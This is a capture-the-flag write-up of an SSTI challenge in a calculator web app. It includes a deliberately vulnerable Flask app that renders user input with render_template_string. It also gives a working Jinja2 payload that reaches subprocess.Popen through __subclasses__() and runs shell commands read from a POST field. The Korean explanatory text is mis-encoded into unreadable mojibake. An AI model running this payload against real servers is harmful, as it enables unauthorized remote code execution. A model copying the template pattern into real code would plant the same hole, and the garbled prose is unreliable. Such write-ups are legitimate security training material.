0x01 ๋ฌธ์ ์ค๋ช
0x02 ํ์ด ๊ณผ์
๊ฐ๋จํ ๊ณ์ฐ๊ธฐ ํ๋ก๊ทธ๋จ์ด๋ค. ์ฌ๋ฌ ๊ฐ์ ๋ฃ๊ณ ํ ์คํธ ํ ๊ฒฐ๊ณผ๋ ์๋์ ๊ฐ๋ค.
- 1+2 → 3
- 3*4 → 12
- ‘7’*7 → 7777777
- config → <Config {'ENV': 'production', 'DEBUG': False, 'TE…
SSTI (Server Side Template Injection) ์ทจ์ฝ์ ์ด ์๋๊ฒ์ผ๋ก ํ์ธ๋๋ฉฐ, {{ }}
${ }
<%= %>
์ ๊ฐ์ ๊ตฌ๋ฌธ ์์ด ๋ฐ๋ก ์ ์ฉ๋จ์ ์ ์ ์๋ค. ์๋์ ์ฝ๋ ๊ฐ์ด ์ค์ฒฉ๊ดํธ๋ฅผ ์ฌ์ฉํ ํ๊ฒฝ์ ์์ํด๋ณธ๋ค.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
expression = request.args.get('expression', '')
template = f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SSTI Vulnerable Page</title>
</head>
<body>
<h1>SSTI Vulnerable Calculator</h1>
<form method="GET" action="/">
<label for="expression">Enter a calculation:</label>
<input type="text" id="expression" name="expression" />
<button type="submit">Calculate</button>
</form>
<h2>Output:</h2>
<p>{{{{ {expression} }}}}</p>
</body>
</html>
"""
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
SSTI๋ฅผ ์ด์ฉํ RCE (Remote Code Execution) ๊ณต๊ฒฉ์ ์ํํ์๋ค. ์ด๋ฅผ ์ํด์ ํ๋ก์ธ์ค ์์ฑ๊ณผ ์ฒ๋ฆฌ๋ฅผ ๋ด๋นํ๋ subprocess.Popen ํด๋์ค๋ฅผ ์ด์ฉํด์ผ ํ๋ค.
์ ๋ฌธ์ ์ ๊ฒฝ์ฐ ''.__class__.__mro__[1].__subclasses__()[213]
์ ์์นํด ์์์ ํ์ธํ์๋ค.
''.__class__.__mro__[1].__subclasses__()[213](request.form.get('shell'),stdout=-1,shell=True).communicate()
Burp Suite ํ๋ก๊ทธ๋จ์ ์ด์ฉํ์ฌ POST ์์ฒญ ์ shell
์ ์ถ๊ฐํ์ฌ ํด๋น ๋๋ ํฐ๋ฆฌ ํ์์ ํ์๋ค. flag ํ์ผ์ด ๋ฐ๊ฒฌ๋์๊ณ ์ด๋ฅผ ์ฝ์ผ๋ฉฐ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์๋ค.
0x03 ๊ฒฐ๊ณผ ํ์ธ
flag
H4CGM{asdfasdfasdfasdfasdf}
0x04 ์ฐธ๊ณ ๋ฐ ํ์ต ๋ด์ฉ
SSTI ์ RCE ์ฐ๊ณ ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์์ฃผ ์ ์ ํ ํ๊ฒฝ์ด์๋ค. ๊ธฐ๋ณธ์ ์ธ ๊ฐ๋ ๋ง ์ ์๋ค๋ฉด ์์ฝ๊ฒ ํ ์ ์๋ ๋ฌธ์ ๋ค.
SSTI ๊ฐ๋ ๊ด๋ จ ์ฐธ๊ณ
subprocess.Popen ๊ด๋ จ ์ฐธ๊ณ
'wargame ๐ดโโ ๏ธ write-up > H4CKING GAME' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Web Hacking] Calculator v2 (0) | 2025.01.02 |
---|---|
[Web Hacking] Real PHP LFI (0) | 2025.01.02 |
[Web Hacking] Smuggling (0) | 2024.12.30 |